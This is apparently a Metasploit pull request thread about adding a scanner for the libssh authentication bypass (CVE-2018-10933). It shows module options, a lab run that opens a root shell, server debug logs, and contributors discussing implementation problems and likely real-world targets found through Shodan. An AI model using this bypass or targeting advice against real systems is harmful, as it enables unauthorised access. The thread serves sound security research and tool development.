Add libssh authentication bypass scanner/"exploit"

[wvu]

WIP (for those copying the module source) Use Git. :)

Please apply the supplied ssh_server_fork.patch to get RCE out of libssh

msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > options

Module options (auxiliary/scanner/ssh/libssh_auth_bypass):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CHECK_BANNER  true             no        Check banner for "libssh"
   CMD                            no        Command to execute
   RHOSTS        172.28.128.3     yes       The target address range or CIDR identifier
   RPORT         2222             yes       The target port
   SPAWN_PTY     true             no        Spawn a PTY
   THREADS       1                yes       The number of concurrent threads

msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:2222 - Attempting authentication bypass
[*] Command shell session 1 opened (172.28.128.1:55267 -> 172.28.128.3:2222) at 2018-10-19 00:50:46 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > sessions -1
[*] Starting interaction with 1...

# id
id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
uname -a
Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
#

New hotness above, old and busted below

This does in fact bypass authentication, and I can open a session channel, but I can't coerce any channel requests thereafter. I have tried numerous combinations of USERAUTH_{REQUEST,SUCCESS} with every CHANNEL_{OPEN,REQUEST}, including modifying OpenSSH to send the desired packets. Note that the USERAUTH_SUCCESS is sent OOB and in the opposite direction, so the server won't reply.

Update: this appears to work against https://git.libssh.org/projects/libssh.git/tree/examples/samplesshd-cb.c?h=libssh-0.8.3, but the callbacks are nothing more than print statements.

[2018/10/17 19:08:55.372915, 3] ssh_packet_socket_callback:  packet: read type 52 [len=28,padding=26,comp=1,payload=1]
[2018/10/17 19:08:55.372937, 3] ssh_packet_process:  Dispatching handler for packet type 52
[2018/10/17 19:08:55.372952, 3] ssh_packet_userauth_success:  Authentication successful
[2018/10/17 19:08:55.372964, 4] ssh_packet_userauth_success:  Received SSH_USERAUTH_SUCCESS
[2018/10/17 19:08:55.411296, 4] ssh_socket_pollcallback:  Poll callback on socket 4 (POLLIN ), out buffer 0
[2018/10/17 19:08:55.411373, 3] ssh_packet_socket_callback:  packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/17 19:08:55.411385, 3] ssh_packet_process:  Dispatching handler for packet type 90
[2018/10/17 19:08:55.411396, 3] ssh_packet_channel_open:  Clients wants to open a session channel
Allocated session channel
[2018/10/17 19:08:55.411422, 3] ssh_message_channel_request_open_reply_accept_channel:  Accepting a channel request_open for chan 0
[2018/10/17 19:08:55.411595, 3] ssh_socket_unbuffered_write:  Enabling POLLOUT for socket
[2018/10/17 19:08:55.411630, 3] packet_send2:  packet: wrote [len=28,padding=10,comp=17,payload=17]
[2018/10/17 19:08:55.411652, 4] ssh_socket_pollcallback:  Poll callback on socket 4 (POLLOUT ), out buffer 0
[2018/10/17 19:08:55.424094, 4] ssh_socket_pollcallback:  Poll callback on socket 4 (POLLIN ), out buffer 0
[2018/10/17 19:08:55.424199, 3] ssh_packet_socket_callback:  packet: read type 98 [len=60,padding=12,comp=47,payload=47]
[2018/10/17 19:08:55.424219, 3] ssh_packet_process:  Dispatching handler for packet type 98
[2018/10/17 19:08:55.424237, 3] ssh_message_handle_channel_request:  Received a pty-req channel_request for channel (43:0) (want_reply=1)
Allocated terminal
[2018/10/17 19:08:55.424264, 3] ssh_message_channel_request_reply_success:  Sending a channel_request success to channel 0
[2018/10/17 19:08:55.424601, 3] ssh_socket_unbuffered_write:  Enabling POLLOUT for socket
[2018/10/17 19:08:55.424634, 3] packet_send2:  packet: wrote [len=12,padding=6,comp=5,payload=5]
[2018/10/17 19:08:55.424655, 4] ssh_socket_pollcallback:  Poll callback on socket 4 (POLLOUT ), out buffer 0
[2018/10/17 19:08:55.425817, 4] ssh_socket_pollcallback:  Poll callback on socket 4 (POLLIN ), out buffer 0
[2018/10/17 19:08:55.425946, 3] ssh_packet_socket_callback:  packet: read type 98 [len=28,padding=12,comp=15,payload=15]
[2018/10/17 19:08:55.425967, 3] ssh_packet_process:  Dispatching handler for packet type 98
[2018/10/17 19:08:55.426444, 3] ssh_message_handle_channel_request:  Received a shell channel_request for channel (43:0) (want_reply=1)
Allocated shell
[2018/10/17 19:08:55.426478, 3] ssh_message_channel_request_reply_success:  Sending a channel_request success to channel 0

tl;dr We can bypass auth and even detect the vuln but can't get a shell against known code yet.

[2018/10/17 06:38:57.952712, 3] ssh_packet_socket_callback:  packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/17 06:38:57.952752, 3] ssh_packet_process:  Dispatching handler for packet type 90
[2018/10/17 06:38:57.952763, 3] ssh_packet_channel_open:  Clients wants to open a session channel
[2018/10/17 06:38:57.952770, 1] ssh_packet_channel_open:  Invalid state when receiving channel open request (must be authenticated)

[2018/10/17 06:47:41.263759, 3] ssh_packet_socket_callback:  packet: read type 52 [len=28,padding=26,comp=1,payload=1]
[2018/10/17 06:47:41.263782, 3] ssh_packet_process:  Dispatching handler for packet type 52
[2018/10/17 06:47:41.263798, 3] ssh_packet_userauth_success:  Authentication successful
[2018/10/17 06:47:41.263812, 4] ssh_packet_userauth_success:  Received SSH_USERAUTH_SUCCESS
[2018/10/17 06:47:41.303453, 4] ssh_socket_pollcallback:  Poll callback on socket 4 (POLLIN ), out buffer 0
[2018/10/17 06:47:41.303696, 3] ssh_packet_socket_callback:  packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/17 06:47:41.303731, 3] ssh_packet_process:  Dispatching handler for packet type 90
[2018/10/17 06:47:41.303751, 3] ssh_packet_channel_open:  Clients wants to open a session channel
[2018/10/17 06:47:41.303793, 3] ssh_message_channel_request_open_reply_accept_channel:  Accepting a channel request_open for chan 0
[2018/10/17 06:47:41.303913, 3] ssh_socket_unbuffered_write:  Enabling POLLOUT for socket
[2018/10/17 06:47:41.303975, 3] packet_send2:  packet: wrote [len=28,padding=10,comp=17,payload=17]
[2018/10/17 06:47:41.304032, 4] ssh_socket_pollcallback:  Poll callback on socket 4 (POLLOUT ), out buffer 0
[2018/10/17 06:47:41.308521, 4] ssh_socket_pollcallback:  Poll callback on socket 4 (POLLIN ), out buffer 0
[2018/10/17 06:47:41.308741, 3] ssh_packet_socket_callback:  packet: read type 98 [len=28,padding=12,comp=15,payload=15]
[2018/10/17 06:47:41.309437, 3] ssh_packet_process:  Dispatching handler for packet type 98
[2018/10/17 06:47:41.309526, 3] ssh_message_handle_channel_request:  Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/17 06:47:41.309566, 3] ssh_message_channel_request_reply_default:  Sending a default channel_request denied to channel 0

[2018/10/17 07:17:47.108259, 3] ssh_packet_socket_callback:  packet: read type 90 [len=76,padding=7,comp=68,payload=68]
[2018/10/17 07:17:47.108529, 3] ssh_packet_process:  Dispatching handler for packet type 90
[2018/10/17 07:17:47.108974, 3] ssh_packet_channel_open:  Clients wants to open a direct-tcpip channel
[2018/10/17 07:17:47.109037, 4] ssh_message_channel_request_open_reply_default:  Refusing a channel

Failed testing against https://git.libssh.org/projects/libssh.git/tree/examples/ssh_server_fork.c?h=libssh-0.8.3 above. I also tested this strange piece of software: http://www.maxum.com/Rumpus/. Only the SFTP subsystem is exposed... and that channel request also fails.

In summary, it appears the example servers are incomplete, and while the auth bypass works, we can't get a real shell against any of the examples. The jury is still out on software using this library in a server capacity.

[sempervictus]

So you have shell/master channel but can't portfwd and such...? Digging in the ruby Net::SSH code, as i recall something similar happening a long time ago when refactoring the old "forked up" code we used to use.
Wonder if there's some state condition not being met inside the libssh server code which is expecting a different message type than whats being sent in the new session request.

For real-world application, ping @timwr: looks like the majority of targets out there are mobile devices, and that's just on port 22, so probably rooted.

Thanks @wvu-r7

Edit: so looking through net/ssh/authentication/methods/*rb, the #authenticate methods actually call #authenticate_with which calls session.next_message at least once. Might want to try and step the authenticate process along by pulling the next message from the server during the auth "process." I'll look more after work this evening

[wvu]

@sempervictus: I've been updating the PR description to respond to your questions. Thanks!

[sempervictus]

Hmm, looks like i dont get GH emails when the edits occur, pardon.
Re software that uses it, based on shodan's listing of whats out there, i'd say look to Android and iOS SSH servers as an example of a "full" implementation atop this.

[wvu]

Roger that, thank you. Please see the referenced PR. I will be rebasing this one.

[sempervictus]

Awesome, the PTY thing is beautiful :)

[wvu]

@sempervictus: You linked to software using libssh2. They are separate libraries.

[sempervictus]

oh jeez, thanks for catching that.
Cutting the link. This is what i get for skimming GH results while elbow deep in an EAP setup. My apologies.
Shodan results still show top hits on wireless carriers, so i stand by the intent :).

[wvu]

I think we're spending more time writing libssh server code than exploiting it. 😅

[sempervictus]

Love how much GH accelerates this process - another example
So I guess android is probably the main target if we believe the shodan report for libssh. Nice of it to give the library version number up to the initial connection request in so many cases, should at least ease auditing for patch reqs when they won't let us own the service :).

[busterb]

The example https://github.com/blacknbunny/libSSH-Authentication-Bypass above seems to have very similar issues to those observed in our testing.

[timwr]

Any idea how I can find/setup an Android device that is vulnerable to this?
I don't think dropbear is affected. I wonder why so many Korea Telecom devices are affected. Perhaps the ISP ships a vulnerable router.

[busterb]

There's https://tmate.io/

Interestingly, the static builds have not been updated since 2016: https://github.com/tmate-io/tmate/releases/tag/2.2.1

[wvu]

For the record, one of us tested tmate and ended up as a jailed nobody, so I think that's out.

[wvu]

Rebasing to obtain #10833.

[mubix]

Any thoughts to just getting a tunnel out of the exploit instead of a shell? Having a dynamic SOCKS5 tunnel could be VERY useful. Not sure if that's an option with the bypass or not

[sempervictus]

The channels we can't evoke right now are actually instantiated (at least in ruby) for those transports. 100% agree tho (hence metassh back in the day).

[busterb]

Probably good as a follow up. Would like to get this in tree to start with though.

[wvu]

@mubix: See testing notes where we failed in the PR description. Copied below. <3

[2018/10/17 07:17:47.108259, 3] ssh_packet_socket_callback:  packet: read type 90 [len=76,padding=7,comp=68,payload=68]
[2018/10/17 07:17:47.108529, 3] ssh_packet_process:  Dispatching handler for packet type 90
[2018/10/17 07:17:47.108974, 3] ssh_packet_channel_open:  Clients wants to open a direct-tcpip channel
[2018/10/17 07:17:47.109037, 4] ssh_message_channel_request_open_reply_default:  Refusing a channel

Now that I've "fixed" ssh_server_fork, I imagine it's very possible once the right callbacks are implemented. Still implementation-specific, which limits the versatility of this bug.

tl;dr If you can truly bypass auth and hit the right code paths to get to the right callbacks, you can open channels to your heart's content, including forwarding/tunneling.

[busterb]

Release Notes

The auxiliary/scanner/ssh/libssh_auth_bypass module has been added to the framework. This is an application-dependent authentication bypass scanner for libssh servers 0.6 and later vulnerable to CVE 2018-10933.

[wvu]

Checking for patched versions was missed in this PR and added in #10835. Please update once that lands. Thank you.

[wvu]

Looks like I figured out how to get SSH command output out of Metasploit. Please update when #10855 lands. Thanks.